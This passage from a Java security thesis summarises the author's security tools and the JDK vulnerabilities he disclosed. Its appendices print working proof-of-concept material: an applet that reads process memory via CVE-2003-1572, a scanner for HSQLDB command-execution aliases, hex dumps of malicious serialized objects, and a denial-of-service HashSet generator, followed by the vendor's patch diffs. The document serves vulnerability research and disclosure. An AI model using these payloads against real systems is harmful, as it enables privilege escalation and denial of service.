The effectiveness of component-based development processes within the
software industry in comparison to monolithic development is dependent
of the results of the programmers and the quality of the integration pro-
cess of self-developed and third-party components. This thesis has shown
that both major ingredients influence the security of application systems
throughout the various stages within a software development process.
The contributions supporting these stages are illustrated in the next para-
graphs.
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Requirements First, the discussion in the previous chapters provided the
basis to create awareness for security problems and fulfills a key precondi-
tion to define security-related requirements for component based systems.
Our contributions to enhance the security focus in the project manage-
ment phase are documented antipatterns that help to raise the awareness
level of the involved programmers. Knowing these antipatterns before
starting programming helps the developer to avoid introducing the prob-
lematic code design in beforehand rather than introducing them, intro-
ducing security bugs into the application, getting a security breach report
from the production environment and ship an expensive patch to a de-
ployed product.
As an example we showed that combining software components from
various sources leads toward the requirement of defining a security pol-
icy for the composite application. We illustrated the demand to docu-
ment security requirements by describing the effects of unplanned com-
ponent integration with the help of the Insecure Component Reuse an-
tipattern. Defining this security policy with the business requirements in
mind helps to document the set of the needed functionality. This becomes
helpful to verify the policy generated when performing coverage tests and
are valuable input to system hardening. In contained environments it is
important, being able to block a functionality to minimize the exposed at-
tack surface. From a tools perspective we provided JCHAINS as helping
functionality to derive the necessary security metadata of an application.
Architecture For the architecture phase, this thesis adds insights about
the security consequences of programming antipatterns. We analyzed the
effects on the threat model, when using advanced techniques like object
transfer via serialization. In addition we illustrated the security conse-
quences of scripting functionality to manipulate objects within the class
hierarchy. Having the antipattern solution in mind helps software archi-
Summary of research contribution 391
tects to chose the design patterns they chose to the relevant threat expo-
sure.
Development Focused toward a programming language JAVA, this the-
sis contributes most to the development phase. The results from the early
steps of the software development process like requirements and archi-
tectural blueprints contribute only indirectly to the analysis of the attack
surface of an application. In contrast, the implementation activities are
directly concerned with fulfilling the requirements with adequate code
patterns. The task of the developers is to implement a functional com-
plete system that solves the requirements and also a secure system that
does not compromise the protection requirements. We provide educa-
tional help for developers by illustrating the cause-and-effect relationship
between ignoring secure coding guidelines and the creation of vulnera-
bilities. This description is typically enhanced with an example case to
show how suboptimal programming decisions affect security. These side-
effects are propagated back to the security requirements identified in the
requirements phase.
With the presented JDETECT framework, as result of this thesis, a pro-
grammer is able to perform self-assessment concerning the presented an-
tipatterns. The developer benefits by learning secure coding principles
from refactoring vulnerable code antipatterns. This contributes to a long-
term increase in the system protection quality of the implementation ar-
tifacts. The developer is able to use existing detectors or define additional
detectors to identify refactoring potential within exposed applications.
Test Our contribution to the testing phase are tools that generate per-
mutations of several file and data formats that are used by the JVM and
JAVA applications, this includes class files, deployment files and serialized
objects. By injecting the resulting generated files, the robustness of the ap-
plication and its subcomponents can be verified. The JDETECT framework
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allows performing an automated code audit of third party components. It
allows to determine, whether a library introduces additional vulnerable
spots to the final application. Therefore, we help to provide insight into
the threat level of code without having access to the original source code.
Deployment During the system deployment phase, there are fewer chan-
ces to influence the security behavior of the code base. Moreover third-
party components are configured to meet the requirements of the en-
vironment they are supposed to run in. Configuration from a security
perspective means granting or revoking permissions, to control which ac-
tions the software is allowed to perform. With the JCHAINS framework
the thesis contributes to the requirement of defining a restrictive security
policy for the resulting software system during the final assembly during
the deployment step.
In the case of integrating the HSQLDB database management system,
we were able to derive a least-privilege permission bundle that mitigated a
dangerous remote attack due to a "layer-below" JDK vulnerability. JCHAINS
allows deriving protection domains to adjust the attack surface according
to the risk level the application is exposed to.
Production The software development lifecycle summits in the produc-
tion phase, where the system is performing its designated work. The JAVA
security manager is able serving as a sensor for intrusion detection sys-
tems. An attempt to escalate privileges forces the application to demand
access to privileged resources. Preparing a security policy for an applica-
tion using JCHAINS can help to separate the expected from the dangerous
exposure of protected resources, and support generating qualified notifi-
cations in case of intrusion attempts.
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11.1.2 Vulnerability research
This section is concerned with the vulnerabilities that were discovered
throughout the work on the concepts on this thesis. Although being a side
result, their discovery contributed to the hardening of the underlying of
current JAVA middleware. From a holistic perspective, the identification
of the vulnerabilities contributes to the same goals as the items in the
chapter above.
A categorization scheme, according to their originating antipattern source
has been presented. Additionally, we here provided deeper analysis details
on the vulnerabilities we found.
The vulnerabilities have been placed into two categories, local JDK-
related items and items that are related to distributed environment such
as the Browser plugin or application servers.
Retrospection on JDK-specic problems JDK specific problems have the
potential to violate confidentiality, integrity and availability constraints.
Every bug in the runtime environment weakens the protection of the de-
ployed application systems.
• The layer below, native code: During our research we discovered
several vulnerabilities that were directly related to the tight integra-
tion of the JDK to the native platform. JNI-libraries, coded in C,
such as the compression libraries, the graphics parsing functional-
ity, integrate native functionality into the java namespace.
These libraries provide a large potential for layer-below attacks, such
as excessive memory allocations, shellcode injection or other mem-
ory manipulation. Sun has reacted and migrated some of these
functionality to a JAVA implementation and improved the integrity
checks in cases where this was not possible. There is also a tendency
in the newer APIs, such as Java 6.0, to not expose native functions
to the public JAVA namespace.
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• Added functionality, added attack surface: The second class of vul-
nerabilities was related to the integration of additional components
to the JDK. Their effect on raising the attack surface was larger than
expected, because the added code parts did not meet the require-
ments for TCB functionality. In a variety of findings the Secure Cod-
ing Guidelines were violated. Programming antipattern led to the
creation of covert channels that allow access to protected resources.
Problems specic to distributed environments In shared environments
like the Java plugin (one user, multiple hosts) or application servers (mul-
tiple user, one host), it is critical to maintain confidentiality, integrity and
the availability of the system.
• Scripting and namespace exposure: We discovered vulnerabilities,
which allowed remote attacks to subvert the security goals by tar-
geting on the layer below through the exposure of internal JDK
settings. The mapping of Java functions to SQL ALIAS functions
provided an unintended channel. In the worst case of misuse it is
possible to take over control of the entire java process and use it as
a proxy to execute arbitrary commands on the target host.
• Serialization and Type-Safety: Distribution of JAVA application re-
lives on object transfer, also called serialization. We have shown
how the current implementation of the serialization API allows un-
privileged users to create arbitrary objects on the server. Depending
on the characteristics in the deserialization implementation this can
be misused as an attack vector. We suggest the developers of serial-
izable classes to verify whether their deserialization code performs
all integrity checks that are performed in the regular constructors.
Furthermore, we suggest that operations on deserialized objects are
postponed, if possible, from the moment of creation to the moment
of first object usage.
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11.2 Outlook and Future work
Extending work towards other Frameworks The identification of antipat-
terns that exist in other programming contained execution environments,
such as provided by the CLR by the .NET framework, and its open-source
dependant Mono.
A promising work future work area is to identify structural similarities
between the antipatterns described in this work to the problematic code
patterns within the .NET framework. Migration projects would benefit
from the results of a generalized security antipattern model. For example
converting a system from .NET to JEE is more than converting JAVA byte-
code instructions to MSIL on the lowest technical level; furthermore the
threat model has to be adapted to the libraries in use.
Dalvik is additional architecture that potentially gains from our results.
In a separated research thread we have demonstrated how to derive JAVA
bytecode from Dalvik applications. From this perspective we can apply our
JCHAINS and JDETECT tools to enhance the security of Dalvik applications
(Schönefeld, 2009e).
Improvement in the JAVA security architecture Java is a programming
language undergoing a continuous improvement process. The vulnera-
bilities and refactorings described here in the JDK implementations go
through several evolutionary steps, which illustrate the race between vul-
nerability researchers and library implementors.
First JAVA implementations had fundamental errors in the JVM imple-
mentation which allowed to bypass the security precautions and to launch
direct attacks. The evolutionary development of JAVA has led to an over-
all secure execution framework for distributed applications. However the
thesis showed that essential weaknesses are existent in the mechanism re-
sponsible to handle to receive serialized objects. However, the presented
“type vagueness" vulnerabilities are not trivially to exploit and frequently
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several types of antipatterns need to occur in combination in order to
cause serious harm.
As a helpful enhancement for future JAVA versions we suggest to ex-
tend the default serialization mechanism with a "white list" extension
within the java.io.ObjectInputStream class to block all object types that
remote client is not allowed to send.
From static data ow analysis to dynamic taint tagging Bug related pat-
terns in Java programming have been addressed by a wide range of pub-
lications as well as by several tools that offer hints for detection and even
refactoring. However they have mostly not been brought into relations
with vulnerabilities in the first place. The work of Tate (2002) addresses
the effect of antipatterns towards other qualities of services such as per-
formance. The majority of the default detectors within FINDBUGS im-
plement mechanisms to enforce code guidelines literally, this helps to
provide a baseline security level in terms of integrity and availability.
Only a minority of detectors tries to follow the flow of data within the
components integrated within the application. To analyze the control
flow, to know which methods are called we suggest to extend the JAVA
sandbox with an object tagging model to address confidentiality protec-
tion, to distinguish tainted objects, which have been created or modified
using data from less trusted user input, from untainted ones. This func-
tionality would allow that sensitive user data does not leak via untrusted
libraries. This is especially important in contained environments like the
JAVA applet model or shared JNLP environments. We started these dis-
cussions these ideas with Suns JVM implementors during the JAVA One
conference in 2008.
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11.3 Summary
This chapter presented a condensed on the results of this thesis. These,
one the one hand led to the reduction of the security issues in JDK and
other JAVA-related software. On the other hand we demonstrated how the
presented tools are helpful to integrate security checkpoints within the
software development process. Furthermore, possible extension points
have been emphasized for future work areas.
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Appendix
A.1 Memory Reading applet
This section shows the additional source code needed to execute the Read-
Env-Applet, which is a proof-of-concept for the privilege escalation vulner-
ability, we detected in the JAVA media framework (CVE-2003-1572).
Applet Source
This helper class holds the necessary routines to access and map system
memory via the protected data field to the JAVA address space.
/* Proof-Of-Concept: Read Environment ia vulnerable
Java Media Framework (2003)
Marc Schoenefeld, www.illegalaccess.org */
import com.sun.media.NBA;
import java.applet.Applet;
import java.awt.Graphics;
import javax.swing.JOptionPane;
class NBAFactory {
public static String getEnv(String a,long from, long to) {
long pos = findMem(a,from,to);
String ret = "";
if (pos != -1) {
long pos2 = pos+a.length();
ret = getString(pos2);
}
return ret;
}
public static String getString(long pos) {
int i = 0;
StringBuffer b = new StringBuffer();
char x = 0;
do {
x = (char) readMem(pos+i);
i++;
if (x != 0)
b.append(x);
} while (!(x == 0));
return b.toString();
}
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public static long findMem(String a, long from , long to) {
char[] ch = a.toCharArray();
for (long pos = from; pos < to ;pos++) {
int i = 0;
int found = 0;
for (i = 0; i < ch.length; i++) {
char x = (char) readMem(pos+i);
if (x == ch[i]) {
found ++;
}
else
break;
}
if (found == ch.length) {
return pos;
}
}
return -1;
}
public static byte readMem(long i) {
byte[] by = new byte[1];
NBA searcher = new NBA(byte[].class,1);
long olddata = searcher.data;
searcher.data = i;
searcher.size = 1;
searcher.copyTo(by);
searcher.data = olddata; // keep the finalizer happy
return by[0];
}
public static void setMem(long i, char c) {
NBA b = new NBA(byte[].class,1);
long olddata = b.data;
b.data = i;
b.size = 1;
theBytes[c].copyTo(b);
b.data = olddata; // keep the finalizer happy
}
public static void setMem(long i, byte by) {
setMem(i,(char) by);
}
public static void setMem(long i, int by) {
setMem(i,(char) by);
}
public static void setMem(long l, String s) {
char[] theChars = s.toCharArray();
NBA b = new NBA(byte[].class,1);
long olddata = b.data;
for (int i = 0 ; i < theChars.length; i++) {
b.data = l+i;
b.size = 1;
theBytes[theChars[i]].copyTo(b);
}
b.data = olddata; // keep the finalizer happy
}
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private NBAFactory() { }
public static NBA getByte(char i) {
return theBytes[i];
}
public static NBA getByte(int i) {
return theBytes[(char) i];
}
public static NBA[] getBytes() {
return theBytes;
}
static NBA[] theBytes = new NBA[256];
static {
for (char i = 0; i < 256; i++) {
NBA n = search(i,0x6D340000L, 0x6D46A000L);
if (n!=null)
theBytes[i]= n;
else
System.exit(-1);
}
}
static NBA search (char theChar,long start, long end) {
NBA ret = null;
NBA searcher = new NBA(byte[].class,1);
byte[] ba = new byte[1];
for (long i = start; i < end ; i++) {
searcher.data = i;
searcher.copyTo(ba);
if ( ba[0] == (byte)theChar) {
return searcher;
}
}
return null;
}
}
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A.2 Finding candidate functions for JDBC command
execution
package org.illegalaccess.bytecodetools;
import java.io.File;
import java.util.Arrays;
import java.util.ListIterator;
import java.util.Vector;
import java.util.zip.ZipEntry;
import org.apache.bcel.classfile.ConstantPool;
import org.apache.bcel.classfile.Field;
import org.apache.bcel.classfile.JavaClass;
import org.apache.bcel.classfile.Method;
import org.apache.bcel.generic.ConstantPoolGen;
public class HSQLDBAliasFinder extends MethodWalker {
private static final String str_MainMethod_Name = "main";
private static final String str_Signature_Main_ArgVector_Void =
"([Ljava/lang/String;)V";
static final String[] compatTypes =
new String[] { "Z", "V", "Ljava/lang/String", "Ljava/lang/Integer" };
static boolean equalsCompatType(String sig) {
for (int j = 0; j < compatTypes.length; j++) {
if (sig.equals(compatTypes[j]))
return true;
}
return false;
}
static int runs = 0;
static boolean isSignatureSQLcompatible(String sig) {
runs++;
int pos0 = sig.indexOf("(");
int pos1 = sig.indexOf(")");
boolean hasparms = (pos1 > pos0 + 1);
String retval = sig.substring(pos1 + 1);
if (!equalsCompatType(retval))
return false;
if (hasparms) {
String inputs = sig.substring(1, pos1 - 1);
String[] parmtypes = inputs.split(";");
for (int i = 0; i < parmtypes.length; i++) {
if (!equalsCompatType(parmtypes[i]))
return false;
}
}
return true;
}
Result[] doMethodWalk(
File f,
JavaClass jv,
ConstantPool consts,
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ConstantPoolGen cpg,
ZipEntry ze,
Method[] ms) {
Vector v = new Vector();
Result[] res = Result.emptyRes;
for (ListIterator i = Arrays.asList(ms).listIterator(); i.hasNext();) {
Method m = (Method) i.next();
String sig = m.getSignature();
if ( m.isStatic() && m.isPublic()) {
if (isSignatureSQLcompatible(sig)) {
MethodResult r =
new MethodResult(
f.getName(),
ze.getName(),
m.getName(),
m.getSignature());
v.add(r);
}
}
}
if (v.size() == 0)
return res;
res = Result.convertVectorToResults(v);
return res;
}
}
A.3 Harmful serialized Objects
These serialized object representations were found to cause problems dur-
ing deserialization.
A.3.1 Malicious java.util.regex.Pattern object
0000000: aced 0005 7372 0017 6a61 7661 2e75 7469 ....sr..java.uti
0000010: 6c2e 7265 6765 782e 5061 7474 6572 6e46 l.regex.PatternF
0000020: 67d5 6b6e 4902 0d02 0002 4900 0566 6c61 g.knI.....I..fla
0000030: 6773 4c00 0770 6174 7465 726e 7400 124c gsL..patternt..L
0000040: 6a61 7661 2f6c 616e 672f 5374 7269 6e67 java/lang/String
0000050: 3b78 7000 0000 0074 008d 2841 293f 2842 ;xp....t..(A)?(B
0000060: 293f 2843 293f 2844 293f 2845 293f 2846 )?(C)?(D)?(E)?(F
0000070: 293f 2847 293f 2848 293f 2849 293f 284a )?(G)?(H)?(I)?(J
0000080: 293f 284b 293f 284c 293f 284d 293f 286e )?(K)?(L)?(M)?(n
0000090: 293f 286f 293f 2870 293f 2871 293f 2872 )?(o)?(p)?(q)?(r
00000a0: 293f 2873 293f 2874 293f 2875 293f 2876 )?(s)?(t)?(u)?(v
00000b0: 293f 2877 293f 2878 293f 287a 293f 2861 )?(w)?(x)?(z)?(a
00000c0: 293f 2862 293f 2863 293f 2864 293f 2865 )?(b)?(c)?(d)?(e
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00000d0: 293f 2866 293f 2867 293f 2868 293f 2869 )?(f)?(g)?(h)?(i
00000e0: 293f 286a 293f 24 )?(j)?$
A.3.2 Malicious java.lang.reect.Proxy object
0000000: aced0005 767d0000 fffa0014 6a617661 ....v}......java
0000010: 2e617774 2e436f6e 64697469 6f6e616c .awt.Conditional
0000020: 00146a61 76612e61 77742e43 6f6e6469 ..java.awt.Condi
0000030: 74696f6e 616c0014 6a617661 2e617774 tional..java.awt
0000040: 2e436f6e 64697469 6f6e616c 00146a61 .Conditional..ja
0000050: 76612e61 77742e43 6f6e6469 74696f6e va.awt.Condition
0000060: 616c0014 6a617661 2e617774 2e436f6e al..java.awt.Con
[...]
015ffe0: 6a617661 2e617774 2e436f6e 64697469 java.awt.Conditi
015fff0: 6f6e616c 00146a61 76612e61 77742e43 onal..java.awt.C
0160000: 6f6e6469 74696f6e 616c7872 00176a61 onditionalxr..ja
0160010: 76612e6c 616e672e 7265666c 6563742e va.lang.reflect.
0160020: 50726f78 79e127da 20cc1043 cb020001 Proxy.'. ..C....
0160030: 4c000168 7400254c 6a617661 2f6c616e L..ht.%Ljava/lan
0160040: 672f7265 666c6563 742f496e 766f6361 g/reflect/Invoca
0160050: 74696f6e 48616e64 6c65723b 7870 tionHandler;xp
A.3.3 Malicious ICC_Prole object
0000000: aced 0005 7372 001e 6a61 7661 2e61 7774 ....sr..java.awt
0000010: 2e63 6f6c 6f72 2e49 4343 5f50 726f 6669 .color.ICC_Profi
0000020: 6c65 4772 6179 f064 2ff1 f299 a2a7 0200 leGray.d/.......
0000030: 0078 7200 1a6a 6176 612e 6177 742e 636f .xr..java.awt.co
0000040: 6c6f 722e 4943 435f 5072 6f66 696c 65c9 lor.ICC_Profile.
0000050: 5794 b0cf c9ef 4203 0001 4900 1f69 6363 W.....B...I..icc
0000060: 5072 6f66 696c 6553 6572 6961 6c69 7a65 ProfileSerialize
0000070: 6444 6174 6156 6572 7369 6f6e 7870 0000 dDataVersionxp..
0000080: 0001 7075 7200 025b 42ac f317 f806 0854 ..pur..[B......T
0000090: e002 0000 7870 0000 0000 0000 0278 4b43 ....xp.......xKC
00000a0: 4d53 0200 0000 6d6e 7472 4752 4159 5859 MS....mntrGRAYXY
00000b0: 5a20 005f 0007 001b 0011 001e 000f 6163 Z ._..........ac
00000c0: 7370 5355 4e57 0000 0001 4b4f 4441 4752 spSUNW....KODAGR
00000d0: 4159 0000 0000 0000 0000 0000 0001 0000 AY..............
00000e0: f6d5 0001 0000 0000 d32b 0000 0000 0000 .........+......
00000f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000100: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000110: 0000 0000 0000 0000 0000 0000 0006 6370 ..............cp
0000120: 7274 0000 00cc 0000 003f 6465 7363 0000 rt.......?desc..
441
0000130: 010c 0000 0081 646d 6e64 0000 0190 0000 ......dmnd......
0000140: 0060 7774 7074 0000 01f0 0000 0014 6b54 .`wtpt........kT
0000150: 5243 0000 0204 0000 000e 646d 6464 0000 RC........dmdd..
0000160: 0214 0000 0064 7465 7874 0000 0000 434f .....dtext....CO
0000170: 5059 5249 4748 5420 2863 2920 3139 3937 PYRIGHT (c) 1997
0000180: 2045 6173 746d 616e 204b 6f64 616b 2c20 Eastman Kodak,
0000190: 416c 6c20 7269 6768 7473 2072 6573 6572 All rights reser
00001a0: 7665 642e 0000 6465 7363 0000 0000 0000 ved...desc......
00001b0: 0027 4b4f 4441 4b20 4772 6179 7363 616c .'KODAK Grayscal
00001c0: 6520 436f 6e76 6572 7369 6f6e 202d 2047 e Conversion - G
00001d0: 616d 6d61 2031 2e30 0000 0000 0000 0000 amma 1.0........
00001e0: 0000 0000 0000 0000 00d8 b240 0000 0000 ...........@....
00001f0: 00ff ffff ff11 0100 00c4 087e 0000 0000 ...........~....
0000200: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000210: 00c4 087e 0000 0000 00c4 087e 000c 0000 ...~.......~....
0000220: 0001 0000 0000 0000 0000 6465 7363 0000 ..........desc..
0000230: 0000 0000 0006 4b4f 4441 4b00 0000 0000 ......KODAK.....
0000240: 0000 0000 0000 0000 0000 0000 d8b2 4000 ..............@.
0000250: 0000 0000 ffff ffff 0809 8a00 e008 8a00 ................
0000260: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000270: 0000 0000 e008 8a00 0000 0000 e008 8a00 ................
0000280: d82c 8a00 d82c 8a00 0000 5859 5a20 0000 .,...,....XYZ ..
0000290: 0000 0000 f6d5 0001 0000 0000 d32b 6375 .............+cu
00002a0: 7276 0000 0000 0000 0001 0100 0000 6465 rv............de
00002b0: 7363 0000 0000 0000 000a 4772 6179 7363 sc........Graysc
00002c0: 616c 6500 0000 0000 0000 0000 0000 0000 ale.............
00002d0: 0000 0000 d8b2 4000 0000 0000 ffff ffff ......@.........
00002e0: 0809 8a00 e008 8a00 0000 0000 0000 0000 ................
00002f0: 0000 0000 0000 0000 0000 0000 e008 8a00 ................
0000300: 0000 0000 e008 8a00 d82c 8a00 d82c 8a00 .........,...,..
0000310: 0000 78 ..x
A.3.4 Code generating malicious HashSet
import java.util.HashSet;
import java.io.*;
public class HashBlowOut {
public static void main(String args[]) {
try {
HashSet hs = new HashSet(1,0.000000000001f);
for (int count=0; count < 114; count ++) {
if (count % 10 ==0)
System.out.println(count);
hs.add(new Byte((byte)count ));
count++;
442 Appendix
}
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hs);
oos.flush();
bos.flush();
byte[] b = bos.toByteArray();
System.out.println("hier");
for (int i = 0; i < b.length; i++) {
System.out.println(i+":"+b[i]);
}
while (true) {
try {
ObjectInputStream ois= new ObjectInputStream(
new ByteArrayInputStream(b));
System.out.println("lese");
Object o = ois.readObject();
System.out.println("gelesen");
}
catch (Throwable e) {
e.printStackTrace();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
A.3.5 Malicious java.util.HashSet object
0000000: aced 0005 7372 0011 6a61 7661 2e75 7469 ....sr..java.uti
0000010: 6c2e 4861 7368 5365 74ba 4485 9596 b8b7 l.HashSet.D.....
0000020: 3403 0000 7870 770c 0000 2000 2b8c bccc 4...xpw... .+...
0000030: 0000 000d 7372 000e 6a61 7661 2e6c 616e ....sr..java.lan
0000040: 672e 4279 7465 9c4e 6084 ee50 f51c 0200 g.Byte.N`..P....
0000050: 0142 0005 7661 6c75 6578 7200 106a 6176 .B..valuexr..jav
0000060: 612e 6c61 6e67 2e4e 756d 6265 7286 ac95 a.lang.Number...
0000070: 1d0b 94e0 8b02 0000 7870 0973 7100 7e00 ........xp.sq.~.
0000080: 020a 7371 007e 0002 0b73 7100 7e00 020c ..sq.~...sq.~...
0000090: 7371 007e 0002 0073 7100 7e00 0201 7371 sq.~...sq.~...sq
00000a0: 007e 0002 0273 7100 7e00 0203 7371 007e .~...sq.~...sq.~
00000b0: 0002 0473 7100 7e00 0205 7371 007e 0002 ...sq.~...sq.~..
00000c0: 0673 7100 7e00 0207 7371 007e 0002 0878 .sq.~...sq.~...x
A.4 Product refactorings
These modifications were made to the productive code of the JDK as reac-
tion to our bugs reports.
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A.4.1 JDK 1.4.1 from revision 01 to 02
java.util.zip.CRC32
--- 01/src/java/util/zip/CRC32.java 2002-09-30 00:17:36.000000000 +0200
+++ 02/src/java/util/zip/CRC32.java 2003-02-20 11:38:34.000000000 +0100
@@ -1,7 +1,7 @@
/*
- * @(#)CRC32.java 1.27 01/12/03
+ * @(#)CRC32.java 1.29 03/02/08
*
- * Copyright 2002 Sun Microsystems, Inc. All rights reserved.
+ * Copyright 2003 Sun Microsystems, Inc. All rights reserved.
* SUN PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*/
@@ -11,7 +11,7 @@
* A class that can be used to compute the CRC-32 of a data stream.
*
* @see Checksum
- * @version 1.27, 12/03/01
+ * @version 1.29, 02/08/03
* @author David Connelly
*/
public
@@ -47,7 +47,7 @@
if (b == null) {
throw new NullPointerException();
}
- if (off < 0 || len < 0 || off + len > b.length) {
+ if (off < 0 || len < 0 || off > b.length - len) {
throw new ArrayIndexOutOfBoundsException();
}
crc = updateBytes(crc, b, off, len);
A.4.2 JDK 1.4.2 from revision 04 to 05
org.apache.xalan.compiler.Compiler
--- ../04/src/org/apache/xpath/compiler/Compiler.java 2004-02-23 06:25:52.000000000 +0100
+++ ../05/src/org/apache/xpath/compiler/Compiler.java 2004-06-04 04:42:40.000000000 +0200
@@ -1072,7 +1072,7 @@
}
catch (WrongNumberArgsException wnae)
{
- java.lang.String name = FunctionTable.m_functions[funcID].getName();
+ java.lang.String name = FunctionTable.getFunctionName(funcID);
m_errorHandler.fatalError( new TransformerException(
XSLMessages.createXPATHMessage(XPATHErrorResources.ER_ONLY_ALLOWS,
org.apache.xalan.compiler.FunctionTable
--- ../04/src/org/apache/xpath/compiler/FunctionTable.java 2004-02-23 06:25:54.000000000 +0100
+++ ../05/src/org/apache/xpath/compiler/FunctionTable.java 2004-06-04 04:42:40.000000000 +0200
@@ -175,7 +175,7 @@
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/**
* The function table.
*/
- public static FuncLoader m_functions[];
+ private static FuncLoader m_functions[];
/**
* Number of built in functions. Be sure to update this as
@@ -255,6 +255,17 @@
new FuncLoader("FuncUnparsedEntityURI", FUNC_UNPARSED_ENTITY_URI);
}
+
+ /**
+ * Return the name of the function in the static table
+ * Need to avoid making the table publicly available
+ *
+ */
+ static String getFunctionName(int funcID) {
+ return m_functions[funcID].getName();
+ }
+
+
/**
* Obtain a new Function object from a function ID.
*
A.4.3 JDK 1.4.2 from revision 05 to 06
java.util.regex.Pattern
--- ../05/src/java/util/regex/Pattern.java 2004-06-04 04:40:50.000000000 +0200
+++ ../06/src/java/util/regex/Pattern.java 2004-09-29 02:57:26.000000000 +0200
@@ -1,5 +1,5 @@
/*
- * @(#)Pattern.java 1.97 04/01/13
+ * @(#)Pattern.java 1.98 04/08/13
*
* Copyright 2004 Sun Microsystems, Inc. All rights reserved.
* SUN PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
@@ -571,7 +571,7 @@
* @author Mike McCloskey
* @author Mark Reinhold
* @author JSR-51 Expert Group
- * @version 1.97, 04/01/13
+ * @version 1.98, 04/08/13
* @since 1.4
* @spec JSR-51
*/
@@ -711,6 +711,12 @@
private int flags;
/**
+ * Boolean indication this pattern is compiled; this is necessary in order
+ * to lazily compile deserialized Patterns.
+ */
+ private transient volatile boolean compiled = false;
+
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+ /**
* The normalized pattern string.
*/
private transient String normalizedPattern;
@@ -822,6 +828,10 @@
* @return A new matcher for this pattern
*/
public Matcher matcher(CharSequence input) {
+ synchronized(this) {
+ if (!compiled)
+ compile();
+ }
Matcher m = new Matcher(this, input);
return m;
}
@@ -1010,11 +1020,13 @@
groupCount = 1;
localCount = 0;
- // Recompile object tree
- if (pattern.length() > 0)
- compile();
- else
+ // if length > 0, the Pattern is lazily compiled
+ compiled = false;
+ if (pattern.length() == 0) {
root = new Start(lastAccept);
+ matchRoot = lastAccept;
+ compiled = true;
+ }
}
/**
@@ -1305,6 +1317,7 @@
buffer = null;
groupNodes = null;
patternLength = 0;
+ compiled = true;
}
/**
A.4.4 JDK 1.4.2 from revision 07 to 08
java.awt.color.ICC_Profile
--- ../07/src/java/awt/color/ICC_Profile.java 2005-01-15 19:10:18.000000000 +0100
+++ ../08/src/java/awt/color/ICC_Profile.java 2005-03-05 02:44:10.000000000 +0100
@@ -1,7 +1,7 @@
/*
* @(#)ICC_Profile.java 1.28 03/01/23
*
- * Copyright 2003 Sun Microsystems, Inc. All rights reserved.
+ * Copyright 2005 Sun Microsystems, Inc. All rights reserved.
* SUN PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*/
@@ -36,6 +36,9 @@
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import java.util.StringTokenizer;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+
/**
* A representation of color profile data for device independent and
* device dependent color spaces based on the International Color
@@ -747,26 +750,34 @@
* @exception IllegalArgumentException If <CODE>cspace</CODE> is not
* one of the predefined color space types.
*/
- public static ICC_Profile getInstance (int cspace)
- {
- ICC_Profile thisProfile = null;
- String fileName;
+ public static ICC_Profile getInstance (int cspace) {
+ ICC_Profile thisProfile = null;
+ String fileName;
- try {
- switch (cspace) {
+ switch (cspace) {
case ColorSpace.CS_sRGB:
if (sRGBprofile == null) {
- sRGBprofile = getDeferredInstance(
- new ProfileDeferralInfo("sRGB.pf", ColorSpace.TYPE_RGB,
+ try {
+ /*
+ * Deferral is only used for standard profiles.
+ * Enabling the appropriate access privileges is handled
+ * at a lower level.
+ */
+ sRGBprofile = getDeferredInstance(
+ new ProfileDeferralInfo("sRGB.pf", ColorSpace.TYPE_RGB,
3, CLASS_DISPLAY));
- }
+ } catch (IOException e) {
+ throw new IllegalArgumentException(
+ "Can't load standard profile: sRGB.pf");
+ }
+ }
thisProfile = sRGBprofile;
break;
case ColorSpace.CS_CIEXYZ:
if (XYZprofile == null) {
- XYZprofile = getInstance ("CIEXYZ.pf");
+ XYZprofile = getStandardProfile("CIEXYZ.pf");
}
thisProfile = XYZprofile;
@@ -774,7 +785,7 @@
case ColorSpace.CS_PYCC:
if (PYCCprofile == null) {
- PYCCprofile = getInstance ("PYCC.pf");
+ PYCCprofile = getStandardProfile("PYCC.pf");
}
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thisProfile = PYCCprofile;
@@ -782,7 +793,7 @@
case ColorSpace.CS_GRAY:
if (GRAYprofile == null) {
- GRAYprofile = getInstance ("GRAY.pf");
+ GRAYprofile = getStandardProfile("GRAY.pf");
}
thisProfile = GRAYprofile;
@@ -790,7 +801,7 @@
case ColorSpace.CS_LINEAR_RGB:
if (LINEAR_RGBprofile == null) {
- LINEAR_RGBprofile = getInstance ("LINEAR_RGB.pf");
+ LINEAR_RGBprofile = getStandardProfile("LINEAR_RGB.pf");
}
thisProfile = LINEAR_RGBprofile;
@@ -799,13 +810,27 @@
default:
throw new IllegalArgumentException("Unknown color space");
}
- } catch (IOException e) {
- throw new IllegalArgumentException("Can't load standard profile");
- }
return thisProfile;
}
+ private static ICC_Profile getStandardProfile(final String name) {
+
+ return (ICC_Profile) AccessController.doPrivileged(
+ new PrivilegedAction() {
+ public Object run() {
+ ICC_Profile p = null;
+ try {
+ p = getInstance (name);
+ } catch (IOException ex) {
+ throw new IllegalArgumentException(
+ "Can't load standard profile: " + name);
+ }
+ return p;
+ }
+ });
+ }
+
/**
* Constructs an ICC_Profile corresponding to the data in a file.
@@ -828,12 +853,20 @@
* an I/O error occurs while reading the file.
*
* @exception IllegalArgumentException If the file does not
- * contain valid ICC Profile data.
+ * contain valid ICC Profile data.
+ *
+ * @exception SecurityException If a security manager is installed
+ * and it does not permit read access to the given file.
*/
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public static ICC_Profile getInstance(String fileName) throws IOException {
ICC_Profile thisProfile;
FileInputStream fis;
+ SecurityManager security = System.getSecurityManager();
+ if (security != null) {
+ security.checkRead(fileName);
+ }
+
if ((fis = openProfile(fileName)) == null) {
throw new IOException("Cannot open file " + fileName);
}
@@ -921,12 +954,19 @@
* Constructs an ICC_Profile for which the actual loading of the
* profile data from a file and the initialization of the CMM should
* be deferred as long as possible.
+ * Deferral is only used for standard profiles.
+ * If deferring is disabled, then getStandardProfile() ensures
+ * that all of the appropriate access privileges are granted
+ * when loading this profile.
+ * If deferring is enabled, then the deferred activation
+ * code will take care of access privileges.
+ * @see activateDeferredProfile()
*/
static ICC_Profile getDeferredInstance(ProfileDeferralInfo pdi)
throws IOException {
if (!ProfileDeferralMgr.deferring) {
- return getInstance(pdi.filename);
